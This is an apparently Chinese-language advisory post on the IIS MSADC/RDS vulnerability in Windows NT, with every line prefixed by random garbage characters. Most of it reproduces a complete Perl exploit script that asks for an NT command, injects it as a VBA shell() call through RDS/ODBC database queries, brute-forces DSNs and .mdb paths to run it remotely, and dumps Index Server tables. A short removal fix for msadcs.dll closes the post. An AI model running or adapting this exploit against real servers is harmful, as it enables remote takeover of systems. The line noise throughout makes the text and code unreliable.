IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
jpZ , $ 1HG~}E 涉及程序：
R+FBCVU&TJ Microsoft NT server
D(D:/L8T, Rz1&(_Ps 描述：
D\ ]gIXg 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
zME7 5;{ .v%H%z~Rl# 详细：
sPn[FuT>+s 如果你没有时间读详细内容的话，就删除:
, F(nkbt c:\Program Files\Common Files\System\Msadc\msadcs.dll
9S@PY_ms 有关的安全问题就没有了。
@F KNB.> eD/O)X 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
`m e2 Q r k;k:<c 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
^AK<]r<?L? 关于利用ODBC远程漏洞的描述，请参看:
WY#A9i5Ge .t''(0_kC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `;4P?!WG Ro$'|}(+A 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
K O "U5v http://www.microsoft.com/security/bulletins/MS99-025faq.asp =4uL1[0' *Hy-D</w% 这里不再论述。
tM]~^U '9%72yG 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
R)d1]k 8 , j^ /~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
m!5P5U
x 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
5v "QKI RUUV" y s~$ZTzV #将下面这段保存为txt文件，然后: "perl -x 文件名"
f /RzE 5mUHk]W #!perl
lN#W #
v{
Md4 p # MSADC/RDS 'usage' (aka exploit) script
Tz3 L#0:j #
PjNOeI @G # by rain.forest.puppy
w~hO)1c],: #
B}8x A}< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&{NN!X # beta test and find errors!
L\}o(P( .'JO7of use Socket; use Getopt::Std;
_Q,`Qn@|BD getopts("e:vd:h:XR", \%args);
fqA\Rp6Z j'FSd*5m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;rYL\`6L 1=gE ,k5H if (!defined $args{h} && !defined $args{R}) {
<7R\ # print qq~
A >< Usage: msadc.pl -h <host> { -d <delay> -X -v }
hp+=UnW -h <host> = host you want to scan (ip or domain)
)isz
}?Dj -d <seconds> = delay between calls, default 1 second
NpqMdd -X = dump Index Server path table, if available
9HrT>{@ -v = verbose
;X,|I) -e = external dictionary file for step 5
{J;[
Hf5 S0\QZ/je Or a -R will resume a command session
U8 qb2'a8 U;u@\E@2 ~; exit;}
F8mS5oB|^
p;cNmMm $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/MYl:>e> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@dei} !e if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
xX$'u"dsA if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
z ^t6VF M $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
T#kPn#| if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0w 9)#e+JS tIfA]pE if (!defined $args{R}){ $ret = &has_msadc;
3*x_S"h die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
")m 0 { QG
{KEj2V print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\Fg%V> . "cmd /c ";
69ZGdN $in=<STDIN>; chomp $in;
q ww * $command="cmd /c " . $in ;
%0 l'Nuz Hy=';Ccn} if (defined $args{R}) {&load; exit;}
7pf]h$2 /W\@/b, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Q`- JRY- &try_btcustmr;
*P2_l
Q= 3gtQS3$4s print "\nStep 2: Trying to make our own DSN...";
Kab"r_' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6D3hX>K4 @=JOAo print "\nStep 3: Trying known DSNs...";
0N.B =j| &known_dsn;
oS3'q\ 1) 7n
( print "\nStep 4: Trying known .mdbs...";
-P#PyZEH&I &known_mdb;
A hl-EVIr< 4.Luy if (defined $args{e}){
>dO1) print "\nStep 5: Trying dictionary of DSN names...";
R5OP=Q 8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
r Q)?Bhf WjLy7& print "Sorry Charley...maybe next time?\n";
:"QR;O@ exit;
F6XrJ?JM 7[=*#7}. ##############################################################################
e$ kBpG"D W;%$7&+0 sub sendraw { # ripped and modded from whisker
cW%QKdTQY0 sleep($delay); # it's a DoS on the server! At least on mine...
*-Y`7=^$ my ($pstr)=@_;
ZYRZ$87jZ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5B6twn~[ die("Socket problems\n");
\ %& BK.t if(connect(S,pack "SnA4x8",2,80,$target)){
ybk~ m select(S); $|=1;
t<=Ru *p print $pstr; my @in=<S>;
Q8-;w{% select(STDOUT); close(S);
; '6`hZ return @in;
J:W|2U=" } else { die("Can't connect...\n"); }}
E%Tpby}^' 4-j3&( ##############################################################################
24{ Tl
q3 -DAkVF sN sub make_header { # make the HTTP request
xib?XzxGo my $msadc=<<EOT
!@>_5p> q* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Vx'82CIC User-Agent: ACTIVEDATA
: \hcl&W: Host: $ip
j'L/eps?S Content-Length: $clen
]k+XL*]' A Connection: Keep-Alive
S +wy^x@@ YkWv*l ADCClientVersion:01.06
arVu`pD*n Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ki|KtKAu_9 HrOq>CSR --!ADM!ROX!YOUR!WORLD!
4)Jtc2z7Z\ Content-Type: application/x-varg
)ZZ juFQJ) Content-Length: $reqlen
R:N4_4& C~ d `MTc EOT
J!{"^^* ; $msadc=~s/\n/\r\n/g;
GgT 5'e;N return $msadc;}
+lYo5\1= uX/K/4 ##############################################################################
JRgrg &# |)TI&T;k sub make_req { # make the RDS request
"Yp:{e my ($switch, $p1, $p2)=@_;
f%,Vplb my $req=""; my $t1, $t2, $query, $dsn;
%<dvdIB Fh8 8DDJ if ($switch==1){ # this is the btcustmr.mdb query
L
i g7Ac, $query="Select * from Customers where City=" . make_shell();
c/Dk*.xy< $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
]S $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
gm^j8 B a7Mn/ i. elsif ($switch==2){ # this is general make table query
" FD`1 $query="create table AZZ (B int, C varchar(10))";
\p4>onGI $dsn="$p1";}
=Ff _)k
ZYS`M?Au elsif ($switch==3){ # this is general exploit table query
bm>N~DC $query="select * from AZZ where C=" . make_shell();
{UeS_O >( $dsn="$p1";}
lIhP\:;S& g49G 7sk elsif ($switch==4){ # attempt to hork file info from index server
I3I1<}>]Z $query="select path from scope()";
Yamu"# $dsn="Provider=MSIDXS;";}
X&LaAqlSG <6.aSOS elsif ($switch==5){ # bad query
7y?aw`Sw: $query="select";
|lDxk[ $dsn="$p1";}
b#%$y -s3q(SH $t1= make_unicode($query);
Wg5<@=x!G $t2= make_unicode($dsn);
{<}9r6k ;f $req = "\x02\x00\x03\x00";
#Vy8<Vy&w $req.= "\x08\x00" . pack ("S1", length($t1));
omP\qO c $req.= "\x00\x00" . $t1 ;
@ 1w[~QlV $req.= "\x08\x00" . pack ("S1", length($t2));
z@<OR$/`L $req.= "\x00\x00" . $t2 ;
u+7S/9q8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
REg&[e+% return $req;}
n[K L Y! bmzY^ %a ##############################################################################
IgIM8"N .IU\wN sub make_shell { # this makes the shell() statement
PtTL
t iE~ return "'|shell(\"$command\")|'";}
}/bxe0px 1a gNwFd~ ##############################################################################
)5[OG7/g c 80Ffq sub make_unicode { # quick little function to convert to unicode
gf ?_tB0C my ($in)=@_; my $out;
ROhhd. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
H 8 x66} return $out;}
T? g%I H:#sf][&,L ##############################################################################
Y&u wi :_g h}y] Pt? sub rdo_success { # checks for RDO return success (this is kludge)
%O|+` " my (@in) = @_; my $base=content_start(@in);
0SV<Pl^ if($in[$base]=~/multipart\/mixed/){
eF"k" Ckt' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9oU1IT9 return 0;}
('~}$%C Yy c fb ##############################################################################
V/&JArW ]*Cq'<h$ sub make_dsn { # this makes a DSN for us
'" 4;;( my @drives=("c","d","e","f");
[C#H _y( print "\nMaking DSN: ";
r!<)CT}D foreach $drive (@drives) {
d iWi0@ print "$drive: ";
OZR{+Y rB^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
( 5 BZZ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$L4h'(s . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
rT|wZz9$@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?CD[jX}! return 0 if $2 eq "404"; # not found/doesn't exist
e? 7O om if($2 eq "200") {
cC*H.N foreach $line (@results) {
<y= +Gh return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,p>@:C/M } return 0;}
0z$::p$%u i+Lqj ##############################################################################
`m` Y3I `%/w0,0 sub verify_exists {
G,}"}v: my ($page)=@_;
Y 8n*o3jM my @results=sendraw("GET $page HTTP/1.0\n\n");
ES)@iM ?5 return $results[0];}
:+_ h0&Oy52
##############################################################################
"x0/i?pqa D0}r4eA sub try_btcustmr {
kQ`p\}7_ my @drives=("c","d","e","f");
:Vy*MPS5 my @dirs=("winnt","winnt35","winnt351","win","windows");
m% cwhH_B G3o `\4p foreach $dir (@dirs) {
}60/5HNr print "$dir -> "; # fun status so you can see progress
3UX6 Y]E3 foreach $drive (@drives) {
FN/siw(?3 print "$drive: "; # ditto
\ZtKaEXnx $reqlen=length( make_req(1,$drive,$dir) ) - 28;
af'gk&% $reqlenlen=length( "$reqlen" );
w|1O-k` $clen= 206 + $reqlenlen + $reqlen;
Mi } . n%6ba77 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
*zwo="WA\t if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
mndKUI}d else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
CB0p2WS_ 8shx7" ##############################################################################
B|"-Ed {kghZ ur sub odbc_error {
Vb)NWXmyu my (@in)=@_; my $base;
aL&nD1f=!- my $base = content_start(@in);
,1B` Ve if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
jp7cPpk:LG $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8},: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DLN zH $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q+BG return $in[$base+4].$in[$base+5].$in[$base+6];}
3T/& T`T+c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
@1A.$: print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'5(T0Ws/w $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
h=4 GSU \hWac%# ##############################################################################
-zzoz x]S= B- D&1gO sub verbose {
Oye6IT " my ($in)=@_;
_ C)\X(; return if !$verbose;
3lTnfc& print STDOUT "\n$in\n";}
-\ 7_^8 am 1ozb
tn ##############################################################################
#5=W[+4eN CFUn1^?0 sub save {
[1mEdtqf* my ($p1, $p2, $p3, $p4)=@_;
V`8\)FFG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
c#f @v45 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
x !6< 7s close OUT;}
vY7 @1_ " X}wo$t ##############################################################################
]_j= { 0% p=m:^9/ sub load {
!4T!@"# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m8V}E& 6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Q_Wg4n5 @p=<IN>; close(IN);
`2/V.REX$h $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
yJ="dEn>i" $target= inet_aton($ip) || die("inet_aton problems");
dZo x;_b print "Resuming to $ip ...";
{:|b,ep
T $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
t Xuf ! if($p[1]==1) {
.Q^V,[on1T $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
f RT4>So $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^#XQ2UN my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
oQ A,57B if (rdo_success(@results)){print "Success!\n";}
OIIA^QyV else { print "failed\n"; verbose(odbc_error(@results));}}
: H: Se elsif ($p[1]==3){
aU@1j;se@ if(run_query("$p[3]")){
E
$P?%<o print "Success!\n";} else { print "failed\n"; }}
]V)*WP#a elsif ($p[1]==4){
# q>\6} ) if(run_query($drvst . "$p[3]")){
E3]
8(P%D- print "Success!\n"; } else { print "failed\n"; }}
:5F (,Z_ exit;}
0gG r/78
w:/3% - ##############################################################################
yzMGZi`ut fwiP3*j+Nn sub create_table {
UmArl)R/ my ($in)=@_;
n wMq~I*1 $reqlen=length( make_req(2,$in,"") ) - 28;
_ds;:*N+qA $reqlenlen=length( "$reqlen" );
0 6M?ecN $clen= 206 + $reqlenlen + $reqlen;
JL>frS3M my @results=sendraw(make_header() . make_req(2,$in,""));
UZs'H"K return 1 if rdo_success(@results);
:>/6:c?atG my $temp= odbc_error(@results); verbose($temp);
CY lS8j return 1 if $temp=~/Table 'AZZ' already exists/;
LJom+PxF$x return 0;}
h#c7v !g )TEm1\ ##############################################################################
!??g:2 K9 ]zUe&#w sub known_dsn {
fZ&' _ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&8Z .m,s] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$ai;8)C6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5^ R?+<rd "banner", "banners", "ads", "ADCDemo", "ADCTest");
X7[gfKGL)N J7qTE8 W= foreach $dSn (@dsns) {
pTB 7k3g print ".";
t-5 Y,}j next if (!is_access("DSN=$dSn"));
D 1 $ER> if(create_table("DSN=$dSn")){
~L>86/hP,N print "$dSn successful\n";
0m=57c$O if(run_query("DSN=$dSn")){
6^!fuI Z;_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C,A/29R,s print "Something's borked. Use verbose next time\n";}}} print "\n";}
4UUbX
RehraY3q ##############################################################################
B=$O4nW_b ?20R\
]U sub is_access {
MTN*{ug2: my ($in)=@_;
HOF=qE*p $reqlen=length( make_req(5,$in,"") ) - 28;
b dLi _k $reqlenlen=length( "$reqlen" );
6(BgnH8oc $clen= 206 + $reqlenlen + $reqlen;
^}{x).
my @results=sendraw(make_header() . make_req(5,$in,""));
}-J0c V my $temp= odbc_error(@results);
Nu OxEyC verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}%-iJ\ return 0;}
@OGG]0
J fUGappb ##############################################################################
0\vG
< #0hq fs sub run_query {
qE|syA9 my ($in)=@_;
.ANR|G $reqlen=length( make_req(3,$in,"") ) - 28;
hSR+7qN<e $reqlenlen=length( "$reqlen" );
2P)O
0j\/ $clen= 206 + $reqlenlen + $reqlen;
`uUzBV.FR my @results=sendraw(make_header() . make_req(3,$in,""));
rmo\UCD return 1 if rdo_success(@results);
kN78j my $temp= odbc_error(@results); verbose($temp);
I{r*Y9 return 0;}
"*.N 'J\ }r! +wp ##############################################################################
t=xEUOQAn #9Jr?K43
sub known_mdb {
n >R(e> my @drives=("c","d","e","f","g");
O`@-
b# my @dirs=("winnt","winnt35","winnt351","win","windows");
=<#G~8WYz my $dir, $drive, $mdb;
E1tCY.N{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dq`{fqGl 8e3eQ # this is sparse, because I don't know of many
D7T|K :F) my @sysmdbs=( "\\catroot\\icatalog.mdb",
E>f{j :M "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
*coUHbP9> "\\system32\\certmdb.mdb",
AWYlhH4c?t "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>;' 0ymG.` (ie%zrh S my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
-*MY7t3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
jU7[z$GX "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
* Ogf6 "\\cfusion\\cfapps\\security\\realm_.mdb",
,a ,2I "\\cfusion\\cfapps\\security\\data\\realm.mdb",
xY#J((-iH "\\cfusion\\database\\cfexamples.mdb",
(3l A0e`Y "\\cfusion\\database\\cfsnippets.mdb",
11YJ W-V "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
S2;^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
VgODv
"\\cfusion\\brighttiger\\database\\cleam.mdb",
'?mF,C o{ "\\cfusion\\database\\smpolicy.mdb",
V-@4s}zX "\\cfusion\\database\cypress.mdb",
} `r.fD "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
U1 X"UN) "\\website\\cgi-win\\dbsample.mdb",
4xr^4\ lk "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
d1/9
A-{ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@ci..::5 ); #these are just
BWy-R6br foreach $drive (@drives) {
X-_VuM _p foreach $dir (@dirs){
kHylg{i{" foreach $mdb (@sysmdbs) {
# IZh}*$ print ".";
r A(A$VR if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"mQcc }8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:;yrYAyT3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
o2U5irU print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<j>;5!4!} } else { print "Something's borked. Use verbose next time\n"; }}}}}
kj[box N WV.hQX9P foreach $drive (@drives) {
$/ D?Vw:] foreach $mdb (@mdbs) {
NytTyk) print ".";
T|wz%P<J if(create_table($drv . $drive . $dir . $mdb)){
h !K"
;qw print "\n" . $drive . $dir . $mdb . " successful\n";
n #b { if(run_query($drv . $drive . $dir . $mdb)){
5;HGS{` print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Ycspdl+(S$ } else { print "Something's borked. Use verbose next time\n"; }}}}
v N\[2r%S }
V%PQlc. X ?o?$HK ##############################################################################
$zp|()_ }Le]qoW[' sub hork_idx {
;Vat\,45pg print "\nAttempting to dump Index Server tables...\n";
JJ
?'<)EF print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
p|2GPrA]aL $reqlen=length( make_req(4,"","") ) - 28;
[B+F}Q^; $reqlenlen=length( "$reqlen" );
6>rz=yAM_ $clen= 206 + $reqlenlen + $reqlen;
U364'O8_ my @results=sendraw2(make_header() . make_req(4,"",""));
|cY,@X,X6 if (rdo_success(@results)){
8| =C/k my $max=@results; my $c; my %d;
(w)%2vZ^ for($c=19; $c<$max; $c++){
y zp# $results[$c]=~s/\x00//g;
r8:"\%"f> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
5rB>)p05[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4RB%r $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
gM>?w{!LBx $d{"$1$2"}="";}
'~K ]=JP foreach $c (keys %d){ print "$c\n"; }
g" 5Kth } else {print "Index server doesn't seem to be installed.\n"; }}
^ExuIe ^AaE$G&: ##############################################################################
W j^@Zq# /~w*)e) sub dsn_dict {
.,xyE--;d open(IN, "<$args{e}") || die("Can't open external dictionary\n");
sV,Yz3E<u$ while(<IN>){
1L4-;HYJm $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
1b3k|s4 next if (!is_access("DSN=$dSn"));
YR-G:-(# b if(create_table("DSN=$dSn")){
h`\ $8 oV print "$dSn successful\n";
UHvA43 if(run_query("DSN=$dSn")){
lWj*tnnn[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$&Vba@v print "Something's borked. Use verbose next time\n";}}}
ZH;4e<gg print "\n"; close(IN);}
MWA,3I\. sIf]e'@AC ##############################################################################
Z/G#3-5)p mz6]=]1w sub sendraw2 { # ripped and modded from whisker
e[u}Vf sleep($delay); # it's a DoS on the server! At least on mine...
bKM*4M=k my ($pstr)=@_;
C0N}B1- MU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O[t?*m1/ die("Socket problems\n");
Gk I '. if(connect(S,pack "SnA4x8",2,80,$target)){
^rO"U[T o print "Connected. Getting data";
1bQO:n):~ open(OUT,">raw.out"); my @in;
c.S d~k:3 select(S); $|=1; print $pstr;
|YROxY"ML while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
>P~*@>e close(OUT); select(STDOUT); close(S); return @in;
Y?J/KW3 } else { die("Can't connect...\n"); }}
g]: [ ^p hQ<7k' V ##############################################################################
=bC' >qw} /7#e sub content_start { # this will take in the server headers
T^|k` my (@in)=@_; my $c;
%AA&n*m for ($c=1;$c<500;$c++) {
]b%U9hmL^f if($in[$c] =~/^\x0d\x0a/){
ZN $%\,< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
b` D]L/}pr else { return $c+1; }}}
; >H1 A return -1;} # it should never get here actually
CYy=f - -_t4A * ##############################################################################
I*.nwV< T.;{ f{ sub funky {
F ><_gIT my (@in)=@_; my $error=odbc_error(@in);
U MRFTwY if($error=~/ADO could not find the specified provider/){
lL:!d.{ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
4E 5;wH exit;}
M{G}-QK_ . if($error=~/A Handler is required/){
;X<Ez5v3 print "\nServer has custom handler filters (they most likely are patched)\n";
JH]S'5X8K exit;}
07:V[ @' if($error=~/specified Handler has denied Access/){
~M^ [ print "\nServer has custom handler filters (they most likely are patched)\n";
r _$*euh@ exit;}}
WyatHC ? K7uy5Y ##############################################################################
r6uN6XCM u:|^ L]{ sub has_msadc {
qH4|k 2Lm my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
7ihcjyXB my $base=content_start(@results);
rHw#<oV return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
8 +|W%} return 0;}
s,#We} bv 9zqo!& ########################
v[ML=pL 4Z%1eOR9V /A,w{09G 解决方案：
3S+9LOrhY 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
PF/K&&9} 2、移除web 目录: /msadc
